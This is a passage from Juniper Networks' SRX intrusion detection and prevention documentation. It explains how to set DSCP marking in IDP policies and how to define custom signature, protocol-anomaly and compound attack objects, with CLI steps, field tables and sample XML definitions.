To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, and then copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from configuration mode.

```
set security idp idp-policy base-policy
set security idp idp-policy base-policy rulebase-ips rule R1 match from-zone Zone-1 to-zone
Zone-2 source-address any destination-address any application default
set security idp idp-policy base-policy rulebase-ips rule R1 match attacks predefined-attack-
groups "HTTP - Critical"
set security idp idp-policy base-policy rulebase-ips rule R1 then action mark-diffserv 50
```

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

To configure DSCP values in an IDP policy:

1. Create a policy by assigning a meaningful name to it.

```
[edit]
user@host# edit security idp idp-policy base-policy
```

2. Associate a rulebase with the policy.

```
[edit security idp idp-policy base-policy]
user@host# edit rulebase-ips
```

3. Add rules to the rulebase.

```
[edit security idp idp-policy base-policy rulebase-ips]
user@host# edit rule R1
```

4. Define the match criteria for the rule.

```
[edit security idp idp-policy base-policy rulebase-ips R1]
user@host# set match from-zone trust to-zone untrust source-address any destination-address
any application default
user@host# set match attacks predefined-attack-group "HTTP - Critical"
```

5. Specify an action for the rule.

```
[edit security idp idp-policy base-policy rulebase-ips R1]
user@host# set then action mark-diffserv 50
```

- **6.** Continue to specify any notification or logging options for the rule, if required.
- **7.** Activate the policy.

```
[edit]
user@host# set security idp active-policy base-policy
```

Results

From configuration mode, confirm your configuration by entering the show security idp command. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
[edit]
user@host# show security idp
```

```
idp-policy base-policy{
    rulebase-ips {
        rule R1 {
            match {
                from-zone trust;
                source-address any;
                to-zone untrust;
                destination-address any;
                application default;
                attacks {
                    predefined-attack-groups HTTP-Critical;
                }
            }
            then {
                action {
                    mark-diffserv {
                        50;
                    }
                }
            }
        }
    }
active-policy base-policy;
```

If you are done configuring the device, enter commit from configuration mode.

Verification

IN THIS SECTION

Verify the Configuration | 101

To confirm that the configuration is working properly, perform this task:

Verify the Configuration

Purpose

Verify that the DSCP values were configured in an IDP policy.

Action

From operational mode, enter the show security idp status command.

Change History Table

Feature support is determined by the platform and release you are using. Use Feature Explorer to determine if a feature is supported on your platform.

Release	Description
18.2R1	Previously IDP signature updates supported only nine tags under filters. The seven tags are category, direction, false-positives, performance, product, recommended, service, severity, and vendor. IDP signature updates now support four new additional tags under filters for creating more sophisticated dynamic groups in addition to the existing nine tags.

RELATED DOCUMENTATION

Understand IDP Policy | 43

Intrusion Detection And Prevention Overview | 2

Attack Objects and Object Groups for IDP Policies

SUMMARY

This topic covers IDP attack objects and groups. Learn to create, modify, and use them to protect networks from various threats and vulnerabilities. Ensure robust security measures.

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- Address Known and Unknown Vulnerabilities | 102
- Test a Custom Attack Object | 104

- Predefined IDP Attack Objects and ObjectGroups | 105
- Custom Attack Objects | 106
- Create a Compound Attack Object | 124
- Modify Custom Attack Objects Due to Changes Introduced in Signature Update | 125
- Example: Configure Compound or Chain
 Attacks | 129

Attack objects, application signatures objects, and service objects are used in defining IDP policy rules. As a response to new vulnerabilities, Juniper Networks periodically provides a file containing attack database updates on the Juniper website. You can download this file to protect your network from new threats. These attack objects and groups are designed to detect known attack patterns and protocol anomalies within the network traffic. You can configure attack objects and groups as match conditions in IDP policy rules.

Address Known and Unknown Vulnerabilities

IN THIS SECTION

- Known Vulnerabilities | 102
- Unknown Vulnerabilities | 104

Known Vulnerabilities

The Internet security community documents known vulnerabilities. Several security organizations, security analysts, and security forums comprise the Internet security community. The security community continually discovers and analyzes new attacks and exchanges this information over the Internet. In this way, they can quickly locate, identify, and truly understand an attack.

Some security advisories include the actual attack code. You can use the attack information and the attack code to capture packet information and service contexts. You can use this information to create a custom signature attack object.

Unfortunately, most advisories do not post the attack code with the attack description. If you cannot obtain the attack code, read the advisory carefully and try to reconstruct the basics of the attack packet. Always isolate code from unknown sources.

Table 14 on page 103 active in the security community serve as valuable resources for finding attack information.

Table 14: Organizations

Resource	Description
NVD	National Vulnerability Database (http://nvd.nist.gov). The U.S. government repository of vulnerability management data represented using the Security Content Automation Protocol (SCAP).
SANS	SysAdmin, Audit, Network, Security Institute (www.sans.org). An information security research, certification, and education organization that provides security alerts. Also hosts the Internet Storm Center (ISC) at http://www.incidents.org.
CVE	Common Vulnerabilities and Exposures (http://cve.mitre.org). A standardized list of vulnerabilities and other information security exposures.
BugTraq (http://securityfocus.com/archive/1)	A moderated mailing list hosted by Security Focus that discusses and announces computer security vulnerabilities.
CERT coordination center (http://www.cert.org)	A federally funded security alert organization that provides security advisories.
Packet Storm Security (http://packetstormsecurity.nl)	A nonprofit organization of security professionals that provides security information by way of security news, advisories, forums, and attack code.
Metasploit (http://www.metasploit.com)	Metasploit provides useful information for performing penetration testing, IDS signature development, and exploit research.

Table 14: Organizations (Continued)

Resource	Description
FrSIRT	French Security Incident Response Team (http://www.frsirt.com). FrSIRT is an independent security research organization providing security advisories and real-time vulnerability alerting and notification services.
ISS	Internet Security Systems (http://www.iss.net). An Internet security company that provides alerts and Internet threat levels.

Unknown Vulnerabilities

The Internet security community does not document some vulnerabilities in advisories; these are called as unknown vulnerabilities. In these cases, the IDP Series Profiler, firewall, or IDP security event logs generated in your production environment alert you to suspicious activity and abnormal traffic. In your production environment, you will use packet logging tools to capture packets and service context information that you can later analyze and experiment with in your lab.

Test a Custom Attack Object

We recommend the following workflow to test a custom attack object. Note that the following procedure consists of general steps and is intended for expert users who are familiar with these tasks.

To test a custom attack object:

- **1.** Create a new security policy and new IDP rulebase rule that includes only the custom attack object to be tested. Enable logging and packet logging.
- 2. Push the policy to the IDP Series lab device.
- **3.** From the attacker computer, reproduce the attack that targets the victim computer.
- 4. Use the Security Director Log Viewer to see whether the traffic generated logs as expected.

If your test fails, review the attack advisory, the protocol RFC, and the attack code or packet captures to identify additional information that can help you fine-tune your settings. The most frequent issue that requires tuning is the syntax of the DFA expression.

Predefined IDP Attack Objects and Object Groups

IN THIS SECTION

- Predefined Attack Objects | 105
- Predefined Attack Object Groups | 105

The security package for Intrusion Detection and Prevention (IDP) contains a database of predefined IDP attack objects and IDP attack object groups that you can use in IDP policies to match traffic against known and unknown attacks. Juniper Networks updates the predefined attack objects and groups on a regular basis with newly discovered attack patterns.

Updates to the attack object database can include:

- New descriptions or severities for existing attack objects
- · New attack objects
- Deletion of obsolete attack objects

Predefined Attack Objects

Predefined attack objects are listed in an alphabetical order. These attack objects have unique names that help you identify the attack. The first part of the name indicates the group to which the attack object belongs. For example:

- FTP:USER:R00T—Belongs to the FTP:USER group. It detects attempts to log in to an FTP server using the root account.
- HTTP:HOTMAIL:FILE-UPLOAD—Belongs to the HTTP:HOTMAIL group. It detects files attached to e-mails sent via the Web-based e-mail service Hotmail.

Predefined Attack Object Groups

The predefined attack groups list displays the attack objects in the categories described below. A set of recommended attack objects that Juniper Networks considers to be serious threats are also available in this list. The recommended attack objects are organized into the following categories:

Table 15: Predefined Attack Object Groups

Attack Object Group	Description
Attack Type	Groups attack objects by type (anomaly or signature). Within each type, attack objects are grouped by severity.
Category	Groups attack objects by predefined categories. Within each category, attack objects are grouped by severity.
Operating System	Groups attack objects by the operating system to which they apply: BSD, Linux, Solaris, or Windows. Within each operating system, attack objects are grouped by services and severity.
Severity	Groups attack objects by the severity assigned to the attack. IDP has five severity levels: Critical, Major, Minor, Warning, Info. Within each severity, attack objects are grouped by category.
Web Services	Groups attack objects by common Web services. These services are grouped by severity levels—Warning, Critical, Major, Minor, Info.
Miscellaneous	Groups attack objects by performance level. Attack objects affecting IDP performance over a certain level are grouped under this category.
Response	Groups attack objects in traffic flowing in the server to client direction.

Custom Attack Objects

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- Attack Name | 107
- Severity | 107
 - Service and Application Bindings | 108
 - Protocol and Port Bindings | 108

- Time Bindings | 111
- Attack Properties (Signature Attacks) | 112
- Attack Properties (Protocol Anomaly Attacks) | 120
- Attack Properties (Compound or Chain Attacks) | 122

You can create custom attack objects to detect new attacks or customize predefined attack objects to meet the unique needs of your network.

To configure a custom attack object, specify a unique name and additional information. Include a general description and keyword to make it easier to locate and maintain.

Certain properties in the attack object definitions are common to all types of attacks. Such properties can be attack name, description, severity level, service or application binding, time binding, recommended action, and protocol or port binding. Some fields are specific to an attack type and are available only for that specific attack definition.



NOTE: The IDP feature is enabled by default, no license is required. Custom attacks and custom attack groups in IDP policies can also be configured and installed even when a valid license and signature database are not installed on the device.

Attack Name

Specify an alphanumeric name for the object. You might want to include the protocol the attack uses in the attack name.

The maximum number of characters allowed for a custom attack object name is 60. You can validate the statement using the set security idp custom-attack command.

Severity

Severity specifies the brutality of the attack on your network. Severity categories, in order of increasing brutality, are info, warning, minor, major, critical. Critical attacks are the most dangerous—typically these attacks attempt to crash your server or gain control of your network. Informational attacks are the least dangerous, and typically are used by network administrators to discover holes in their own security systems.

Service and Application Bindings

The service or application binding field specifies the service that the attack uses to enter your network.

Specify either the service or the protocol binding in a custom attack. If you specify both, the service binding takes precedence.

- any—Specify any if you are unsure of the correct service and want to match the signature in all services. Because some attacks use multiple services to attack your network, you might want to select the Any service binding to detect the attack regardless of which service the attack chooses for a connection.
- service—Most attacks use a specific service to attack your network. You can select the specific service used to perpetrate the attack as the service binding.

For list of services, service bindings and contexts see "Understanding IDP Custom Attack Objects Service Contexts" on page 217

Protocol and Port Bindings

Protocol or port bindings allow you to specify the protocol that an attack uses to enter your network. You can specify the name of the network protocol or the protocol number.

Specify either the service or the protocol binding in a custom attack. If you specify both, the service binding takes precedence.

IP—You can specify any of the supported network layer protocols using protocol numbers. Table 16
 on page 108 lists protocol numbers for different protocols.

Table 16: Supported Protocols and Protocol Numbers

Protocol Name	Protocol Number
IGMP	2
IP-IP	4
EGP	8
PUP	12

Table 16: Supported Protocols and Protocol Numbers (Continued)

Protocol Name	Protocol Number
TP	29
IPV6	41
ROUTING	43
FRAGMENT	44
RSVP	46
GRE	47
ESP	50
AH	51
ICMPV6	58
NONE	59
DSTOPTS	60
MTP	92
ENCAP	98
PIM	103
COMP	108
	1

Table 16: Supported Protocols and Protocol Numbers (Continued)

Protocol Name	Protocol Number
RAW	255

- ICMP, TCP, and UDP—Attacks that do not use a specific service might use specific ports to attack
 your network. Some TCP and UDP attacks use standard ports to enter your network and establish a
 connection.
- RPC—The RPC protocol is used by distributed processing applications to handle interaction between
 processes remotely. When a client makes a remote procedure call to an RPC server, the server replies
 with a remote program; each remote program uses a different program number. To detect attacks
 that use RPC, configure the service binding as RPC and specify the RPC program ID.

Table 17 on page 110 displays sample formats for key protocols.

Table 17: Sample Formats for Protocols

Protocol Name	Protocol Number	Description
ICMP	<port>ICMP</port>	Specify the protocol name.
IP	<port>IP/<i>protocol-number</i></port>	Specify the Network Layer protocol number.
RPC	<port>RPC/<i>program-number</i></port>	Specify the RPC program number.
TCP or UDP	 <port>TCP </port> <port>TCP/port </port> <port>TCP/minport-maxport </port>	Specifying the port is optional for TCP and UDP protocols. For example, you can specify any of the following: • <port>UDP</port> • <port>UDP/10</port> • <port>UDP/10-100</port>

Time Bindings

Use time bindings to configure the time attributes for the time binding custom attack object. Time attributes control how the attack object identifies attacks that repeat for a certain number of times. By configuring the scope and count of an attack, you can detect a sequence of the same attacks over a period of time across sessions.

You can configure the maximum time interval between any two instances of a time binding custom attack and the range for the maximum time interval is 0 minutes and 0 seconds to 60 minutes and 0 seconds. Earlier, the maximum time interval between any two instances of a time binding attack is 60 seconds, for the attack trigger count to reach the count configured in the time binding. The interval interval-value statement is introduced at the [edit security idp custom-attack attack-name time-binding] hierarchy to configure a custom time-binding.

Scope

Specify the scope within which the count of an attack occurs:

- Source—Specify this option to detect attacks from the source address for the specified number of times, regardless of the destination address. This means that for a given attack, a threshold value is maintained for each attack from the source address. The destination address is ignored. For example, anomalies are detected from two different pairs (ip-a, ip-b) and (ip-a, ip-c) that have the same source address ip-a but different destination addresses ip-b and ip-c. Then the number of matches for ip-a increments to 2. Suppose the threshold value or *count* is also set to 2, then the signature triggers the attack event.
- Destination—Specify this option to detect attacks sent to the destination address for the specified number of times, regardless of the source address. This means that for a given attack, a threshold value is maintained for each attack from the destination address. The source address is ignored. For example, if anomalies are detected from two different pairs (ip-a, ip-b) and (ip-c, ip-b) that have the same destination address ip-b but different source addresses ip-a and ip-c. Then the number of matches for ip-b increments to 2. Suppose the threshold value or *count* is also set to 2, then the signature triggers the attack event.
- Peer—Specify this option to detect attacks between source and destination IP addresses of the sessions for the specified number of times. This means that the threshold value is applicable for a pair of source and destination addresses. Suppose anomalies are detected from two different source and destination pairs (ip-a, ip-b) and (ip-a, ip-c). Then the number of matches for each pair is set to 1, even though both pairs have a common source address.

Count

Count or threshold value specifies the number of times that the attack object must detect an attack within the specified scope before the device considers the attack object to match the attack. If you bind

the attack object to multiple ports and the attack object detects that attack on different ports, each attack on each port is counted as a separate occurrence. For example, when the attack object detects an attack on TCP/80 and then on TCP/8080, the count is two.

Once the count match is reached, each attack that matches the criteria causes the attack count to increase by one. This count cycle lasts for a user defined duration (configured using the interval option), after which the cycle repeats.

Interval

Interval specifies the maximum time interval between any two instances of a time-binding custom attack. The range for the time interval is 0 seconds through 1 hour and the default value is 60 seconds.

Attack Properties (Signature Attacks)

Signature attack objects use a stateful attack signature (a pattern that always exists within a specific section of the attack) to detect known attacks. They also include the protocol or service used to perpetrate the attack and the context in which the attack occurs. The following properties are specific to signature attacks, and you can configure them when configuring signature attack:

Attack context, flow type, and direction are mandatory fields for the signature attack definition.

Attack Context

An attack context defines the location of the signature. If you know the service and the specific service context, specify that service and then specify the appropriate service contexts. If you know the service, but are unsure of the specific service context, specify one of the following general contexts:

Table 18: General Contexts

Contexts	Description
first-data-packet	Specify this context to detect the attack in only the first data packet.

Table 18: General Contexts (Continued)

Contexts	Description
first-packet	Specify this context to detect the attack in only the first packet of a stream. When the flow direction for the attack object is set to any, the device checks the first packet of both the server-to-client and the client-to-server flows. If you know that the attack signature appears in the first packet of a session, choosing first packet instead of packet reduces the amount of traffic the device needs to monitor, which improves performance.
packet	Specify this context to match the attack pattern within a packet. When you select this option, you must also specify the service binding to define the service header options. Although not required, specifying these additional parameters improves the accuracy of the attack object and thereby improves performance.
line	Specify this context to detect a pattern match within a specific line within your network traffic.
normalized-stream	Specify this context to detect the attack in an entire normalized stream. The normalized stream is one of the multiple ways of sending information. In this stream the information in the packet is normalized before a match is performed. Suppose www.yahoo.com/sports is the same as www.yahoo.com/s%70orts. The normalized form to represent both of these URLs might be www.yahoo.com/sports. Choose normalized stream instead of stream, unless you want to detect some pattern in its exact form. For example, if you want to detect the exact pattern www.yahoo.com/s %70orts, then select stream.
normalized-stream256	Specify this context to detect the attack in only the first 256 bytes of a normalized stream.
normalized-stream1k	Specify this context to detect the attack in only the first 1024 bytes of a normalized stream.

Table 18: General Contexts (Continued)

Contexts	Description
normalized-stream-8k	Specify this context to detect the attack in only the first 8192 bytes of a normalized stream.
stream	Specify this context to reassemble packets and extract the data to search for a pattern match. However, the device cannot recognize packet boundaries for stream contexts, so data for multiple packets is combined. Specify this option only when no other context option contains the attack.
stream256	Specify this context to reassemble packets and search for a pattern match within the first 256 bytes of a traffic stream. When the flow direction is set to any, the device checks the first 256 bytes of both the server-to-client and client-to-server flows. If you know that the attack signature will appear in the first 256 bytes of a session, choosing stream256 instead of stream reduces the amount of traffic that the device must monitor and cache, thereby improving performance.
stream1k	Specify this context to reassemble packets and search for a pattern match within the first 1024 bytes of a traffic stream. When the flow direction is set to any, the device checks the first 1024 bytes of both the server-to-client and client-to-server flows. If you know that the attack signature will appear in the first 1024 bytes of a session, choosing stream1024 instead of stream reduces the amount of traffic that the device must monitor and cache, thereby improving performance.

Table 18: General Contexts (Continued)

Contexts	Description
stream8k	Specify this context to reassemble packets and search for a pattern match within the first 8192 bytes of a traffic stream. When the flow direction is set to any, the device checks the first 8192 bytes of both the server-to-client and client-to-server flows. If you know that the attack signature will appear in the first 8192 bytes of a session, choosing stream8192 instead of stream reduces the amount of traffic that the device must monitor and cache, thereby improving performance.

Attack Direction

You can specify the connection direction of the attack. Using a single direction (instead of Any) improves performance, reduces false positives, and increases detection accuracy.

- Client to server (detects the attack only in client-to-server traffic)
- Server to client (detects the attack only in server-to-client traffic)
- Any (detects the attack in either direction)

Attack Pattern

Attack patterns are signatures of the attacks you want to detect. A signature is a pattern that always exists within an attack; if the attack is present, so is the signature. To create the attack pattern, you must first analyze the attack to detect a pattern (such as a segment of code, a URL, or a value in a packet header), then create a syntactical expression that represents that pattern. You can also negate a pattern. The system considers the attack as matched when the pattern defined in the attack does *not* match the specified, negated pattern.

IDP supports pattern negation only for packet, line, and application-based contexts, not for stream and normalized stream contexts.

Protocol-Specific Parameters

Specifies certain values and options existing within packet headers. These parameters are different for different protocols. In a custom attack definition, you can specify fields for only one of the following

protocols—TCP, UDP, or ICMP. Although, you can define IP protocol fields with TCP or UDP in a custom attack definition.

You can define header parameters only for attack objects that use a packet or first packet context. If you specified a line, stream, stream 256, or a service context, you cannot specify header parameters.

If you are unsure of the options or flag settings for the malicious packet, leave all fields blank and Intrusion Detection and Prevention (IDP) attempts to match the signature for all header contents.

Table 19 on page 116 displays fields and flags that you can set for attacks that use the IP protocol.

Table 19: IP Protocol Fields and Flags

Field	Description		
Type of Service	Specify a value for the service type. Common service types are:		
	0000 Default		
	0001 Minimize Cost		
	0002 Maximize Reliability		
	0003 Maximize Throughput		
	0004 Minimize Delay		
	0005 Maximize Security		
Total Length	Specify a value for the number of bytes in the packet, including all header fields and the data payload.		
ID	Specify a value for the unique value used by the destination system to reassemble a fragmented packet.		
Time to Live	Specify an integer value in the range of 0–255 for the time-to-live (TTL) value of the packet. This value represents the number of devices the packet can traverse. Each router that processes the packet decrements the TTL by 1; when the TTL reaches 0, the packet is discarded.		
Protocol	Specify a value for the protocol used.		

Table 19: IP Protocol Fields and Flags (Continued)

Field	Description			
Source	Enter the source address of the attacking device.			
Destination	Enter the destination address of the attack target.			
Reserved Bit	This bit is not used.			
More Fragments	When set (1), this option indicates that the packet contains more fragments. When unset (0), it indicates that no more fragments remain.			
Don't Fragment	When set (1), this option indicates that the packet cannot be fragmented for transmission.			

Table 20 on page 117 displays packet header fields and flags that you can set for attacks that use the TCP protocol.

Table 20: TCP Header Fields and Flags

Field	Description			
Source Port	Specify a value for the port number on the attacking device.			
Destination Port	Specify a value for the port number of the attack target.			
Sequence Number	Specify a value for the sequence number of the packet. This number identifies the location of the data in relation to the entire data sequence.			
ACK Number	Specify a value for the ACK number of the packet. This number identifies the next sequence number; the ACK flag must be set to activate this field.			
Header Length	Specify a value for the number of bytes in the TCP header.			

Table 20: TCP Header Fields and Flags (Continued)

Field	Description			
Data Length	Specify a value for the number of bytes in the data payload. For SYN, ACK, and FIN packets, this field should be empty.			
Window Size	Specify a value for the number of bytes in the TCP window size.			
Urgent Pointer	Specify a value for the urgent pointer. The value indicates that the data in the packet is urgent; the URG flag must be set to activate this field.			
URG	When set, the urgent flag indicates that the packet data is urgent.			
ACK	When set, the acknowledgment flag acknowledges receipt of a packet.			
PSH	When set, the push flag indicates that the receiver should push all data in the current sequence to the destination application (identified by the port number) without waiting for the remaining packets in the sequence.			
RST	When set, the reset flag resets the TCP connection, discarding all packets in an existing sequence.			
SYN	When set, the SYN flag indicates a request for a new session.			
FIN	When set, the final flag indicates that the packet transfer is complete and the connection can be closed.			
R1	This reserved bit (1 of 2) is not used.			
R2	This reserved bit (2 of 2) is not used.			

Table 21 on page 119 displays packet header fields and flags that you can set for attacks that use the UDP protocol.

Table 21: UDP Header Fields and Flags

Field	Description
Source Port	Specify a value for the port number on the attacking device.
Destination Port	Specify a value for the port number of the attack target.
Data Length	Specify a value for the number of bytes in the data payload.

Table 22 on page 119 displays packet header fields and flags that you can set for attacks that use the ICMP protocol.

Table 22: ICMP Header Fields and Flags

Field	Description		
ICMP Type	Specify a value for the primary code that identifies the function of the request or reply packet.		
ICMP Code	Specify a value for the secondary code that identifies the function of the request or reply packet within a given type.		
Sequence Number	Specify a value for the sequence number of the packet. This number identifies the location of the request or reply packet in relation to the entire sequence.		
ICMP ID	Specify a value for the identification number. The identification number is a unique value used by the destination system to associate request and reply packets.		
Data Length	Specify a value for the number of bytes in the data payload.		

Sample Signature Attack Definition

The following is a sample signature attack definition:

```
<Entry>
<Name>sample-sig</Name>
<Severity>Major</Severity>
<Attacks><Attack>
<TimeBinding><Count>2</Count>
<Scope>dst</Scope></TimeBinding>
<Application>FTP</Application>
<Type>signature</Type>
<Context>packet</Context>
<Negate>true</Negate>
<Flow>Control
<Direction>any</Direction>
<Headers><Protocol><Name>ip</Name>
<Field><Name>ttl</Name>
<Match>==</Match><Value>128</Value></Field>
</Protocol><Name>tcp</Name>
<Field><Name><Match>&lt;</Match>
<value>1500</Value>
</Field></Protocol></Headers>
</Attack></Attacks>
</Entry>
```

Attack Properties (Protocol Anomaly Attacks)

A protocol anomaly attack object detects unknown or sophisticated attacks that violate protocol specifications (RFCs and common RFC extensions). You cannot create new protocol anomalies, but you can configure a new attack object that controls how your device handles a predefined protocol anomaly when detected.



NOTE: The service or application binding is a mandatory field for protocol anomaly attacks.

The following properties are specific to protocol anomaly attacks. Both attack direction and test condition are mandatory fields for configuring anomaly attack definitions.

Attack Direction

Attack direction allows you to specify the connection direction of an attack. Using a single direction (instead of Any) improves performance, reduces false positives, and increases detection accuracy:

- Client to server (detects the attack only in client-to-server traffic)
- Server to client (detects the attack only in server-to-client traffic)
- Any (detects the attack in either direction)

Test Condition

Test condition is a condition to be matched for an anomaly attack. Juniper Networks supports certain predefined test conditions. In the following example, the condition is a message that is too long. If the size of the message is longer than the preconfigured value for this test condition, the attack is matched.

```
<Attacks>
<Attack>
<Type>anomaly</Type>
...
<Test>MESSAGE_TOO_LONG</Test>
<Value>yes</Value>
...
</Attack>
</Attack>
```

Sample Protocol Anomaly Attack Definition

The following is a sample protocol anomaly attack definition:

```
<Entry>
<Name>sample-anomaly</Name>
<Severity>Info</Severity>
<Attacks><Attack>
<TimeBinding><Count>2</Count>
<Scope>peer</Scope></TimeBinding>
<Application>TCP</Application>
<Type>anomaly</Type>
<Test>OPTIONS_UNSUPPORTED</Test>
<Direction>any</Direction>
```

</Attack></Attacks>
</Entry>

Attack Properties (Compound or Chain Attacks)

A compound or chain attack object detects attacks that use multiple methods to exploit a vulnerability. This object combines multiple signatures and protocol anomalies into a single attack object. This forces traffic to match a pattern of combined signatures and anomalies within the compound attack object before traffic is identified as an attack. By combining and even specifying the order in which signatures or anomalies must match, you can be very specific about the events that need to take place before the device identifies traffic as an attack.

You must specify a minimum of 2 members (attacks) in a compound attack. You can specify up to 32 members in compound attack. Members can be either signature or anomaly attacks.

The following properties are specific to compound attacks:

Scope

Scope allows you to specify if the attack is matched within a session or across transactions in a session. If the specified service supports multiple transactions within a single session, you can also specify whether the match should occur over a single session or can be made across multiple transactions within a session:

- Specify *session* to allow multiple matches for the object within the same session.
- Specify *transaction* to match the object across multiple transactions that occur within the same session.

Order

Use ordered match to create a compound attack object that must match each member signature or protocol anomaly in the order you specify. If you do not specify an ordered match, the compound attack object still must match all members, but the attack pattern or protocol anomalies can appear in the attack in random order.

Reset

Specifies that a new log is generated each time an attack is detected within the same session. If this field is set to no then the attack is logged only once for a session.

Expression (Boolean expression)

The Boolean expression field disables the ordered match function. The Boolean expression field makes use of the member name or member index properties. The following three Boolean operators are supported along with parenthesis, which helps determine precedence:

- or—If either of the member name patterns match, the expression matches.
- and—If both of the member name patterns match, the expression matches. It does not matter which order the members appear in.
- oand (ordered and)—If both of the member name patterns match, and if they appear in the same order as specified in the Boolean expression, the expression matches.

Suppose you have created five signature members, labeled s1-s5. Suppose you know that the attack always contains the pattern s1, followed by either s2 or s3. You also know that the attack always contains s4 and s5, but their positions in the attack can vary. In this case, you might create the following Boolean expression:

```
((s1 oand s2) or (s1 oand s3)) and (s4 and s5)
```

You can either define an ordered match or an expression (not both) in a custom attack definition.

Member Index

Member Index is specified in chain attacks to identify a member (attack) uniquely. In the following example, member index is used to identify the members mol and mol in the defined expression:

```
<Expression>m02 AND m01</Expression>
<Order>no</Order>
<Reset>no</Reset>
<ScopeOption/>
<Members>
<Attack>
<Member>m01</Member>
<Type>Signature</Type>
...
<Pattern><!CDATA[.*/getlatestversion]]></Pattern>
<Regex/>
</Attack>
<Attack>
<Member>m02</Member>
<Type>Signature</Type>
```

```
<Pattern><!CDATA[\[Skype\'.*]]></Pattern>
<Regex/>
</Attack>
<Attack>
```

When defining the expression, you must specify the member index for all members.

Sample Compound Attack Definition

The following is a sample compound attack definition:

```
<Entry>
<Name>sample-chain</Name>
<Severity>Critical</Severity>
<Attacks><Attack>
<Application>HTTP</Application>
<Type>Chain</Type>
<Order>yes</Order>
<Reset>yes</Reset>
<Members><Attack>
<Type>Signature</Type>
<Context>packet</Context>
<Pattern><![CDATA[Unknown[]></Pattern>
<Flow>Control
<Direction>cts</Direction>
</Attack><Attack>
<Type>anomaly</Type>
<Test>CHUNK_LENGTH_OVERFLOW</Test>
<Direction>any</Direction>
</Attack></Members>
</Attack></Attacks>
</Entry>
```

Create a Compound Attack Object

Use compound attack objects in cases where:

- Attacks use multiple methods to exploit a vulnerability and, inspected independently, the individual contexts appear benign.
- Matching multiple contexts reduces false positives.
- Coupling a signature with a protocol anomaly reduces false positives.

You select signature attack objects or predefined anomalies as "members" of the compound object, and you use Boolean expressions to specify matching logic.

SEE ALSO

Test a Custom Attack Object

Modify Custom Attack Objects Due to Changes Introduced in Signature Update

IN THIS SECTION

- Reference: Removed Contexts | 125
- Example: Replace Context for Patterns Appearing in HTML Text | 126
- Example: Replace Contexts for Patterns Appearing in URLs | 127

This topic describes changes to some service contexts generated by the HTTP protocol decoder. Beginning with Signature Update #1972, the HTTP protocol decoder no longer generates some contexts. If your IDP security policy includes custom signatures that use the contexts that have been removed, you must modify your attack object definitions as described below to avoid policy compilation errors.

Reference: Removed Contexts

To improve performance, the HTTP protocol decoder no longer generates the contexts listed in the first column of Table 23 on page 126. Review this table for guidelines on replacing the contexts in custom attack objects.

Table 23: HTTP Service Contexts

Removed	Replace With	Guideline
http-text-html-body	http-text-html	Change signatures that use context http-text-html-body to http-text-html. You do not need to make changes to the signature pattern or other properties.
 http-get-url-parsed-param http-post-url-parsed-param http-head-url-parsed-param http-get-url-parsed-param-parsed http-post-url-parsed-param-parsed http-head-url-parsed-param-parsed 	Use a combination of the following contexts: • http-request-method • http-url-parsed • http-variable-parsed	Use a compound signature with a Boolean AND to break the signature pattern into multiple pieces. Ensure the Scope field is set to Transaction. Using the http-request-method context is optional. You use the http-request-method context to bind detection to http GET or POST or HEAD transactions. For GET method, we use the pattern \[GET\] (case insensitive GET). Use http-request-method only if the results you logged previously matching on Request Method are worth preserving. If not, omit it to improve performance. If you use http-request-method, order it first in the compound chain. Use the http-url-parsed context to match an attack signature identifiable in the URL. Use this context to match a pattern in the URL that appears before variable parameters—the part of the URL before the question mark (?). Use one or more http-variable-parsed contexts to match the URL variable parameters—the part of the URL after the question mark (?), normally separated by ampersands (&).

Example: Replace Context for Patterns Appearing in HTML Text

Each context generated by the HTTP detector engine has a performance cost. Contexts http-text-html and http-text-html-body serve the same purpose. Reducing the number of contexts improves performance.

Table 24 on page 127 shows the properties of a signature before Update #1972 and the signature after. This is a simple change. You change only the context. You do not need to change the pattern or other properties.

Table 24: HTTP Service Contexts: HTML Text

	Before Update	After Update
Context	http-text-html-body	http-text-html
Pattern	.* .*	.* .*

Example: Replace Contexts for Patterns Appearing in URLs

This section has two parts:

Signatures that Match Request Methods

When modifying custom attack objects that previously matched request methods GET, POST, or HEAD, consider whether matches against these request method patterns were effective for you. Keep in mind, each context generated has a performance cost. If request method is not essential to your results, take this opportunity to recast your signature without it.

Table 25 on page 127 and Table 26 on page 128 show the properties of a signature before Update #1972 and the compound signature after. This example preserves an interest in request method.

Table 25: HTTP Service Contexts: Request Methods Before Update

	Signature Before Update	
Scope	-	
Context	http-get-url-parsed-param	
Pattern	\[/viper/vegaspalms/\].*	

Table 26: HTTP Service Contexts: Request Methods After Update

	Compound Signature After Update		
	m01	m02	
Scope	Transaction		
Context	http-request-method	http-url-parsed	
Pattern	\[GET\]	\[/viper/vegaspalms/\].*	

Signatures that Match URL Strings and URL Variables

In general, breaking a single pattern into multiple contexts could positively or negatively impact performance. You need to test your changes to understand performance impact before deploying the attack objects in a production network. The example shown in Table 27 on page 128 and Table 28 on page 128 breaks URL matching into multiple contexts. Our security team has tested performance for the recommendations described here.

Table 27: HTTP Service Contexts: URL Strings and Variables Before Update

	Signature Before Update
Scope	-
Context	http-get-url-param-parsed-param
Pattern	\[/cvs/index[0-9]?\.php\?option=com_content&do_pdf=1&id=1\]

Table 28: HTTP Service Contexts: URL Strings and Variables After Update

Compound Signature After Update				
m01	m02	m03	m04	

Table 28: HTTP Service Contexts: URL Strings and Variables After Update (Continued)

	Compound Signature After Update			
Scope	Transaction			
Context	http-url-parsed	http-variable-parsed	http-variable-parsed	http-variable-parsed
Pattern	\[/cvs/index[0-9]?\.php\]	\[option=com_content \]	\[do_pdf=1\]	\[id=1\]

SEE ALSO

Create a Compound Attack Object

Test a Custom Attack Object

Example: Configure Compound or Chain Attacks

IN THIS SECTION

- Requirements | 129
- Overview | 130
- Configuration | 130
- Verification | 137

This example shows how to configure compound or chain attacks for specific match criteria. A compound or chain attack object can be configured to detect attacks that use multiple methods to exploit a vulnerability.

Requirements

Before you begin, the SRX Series firewall must support and enable IDP.

Overview

A compound or a chain attack object can combine the signatures and anomalies to form a single attack object. A single attack object can contain:

- Two or more signatures
- Two or more anomalies
- A combination of signatures and anomalies

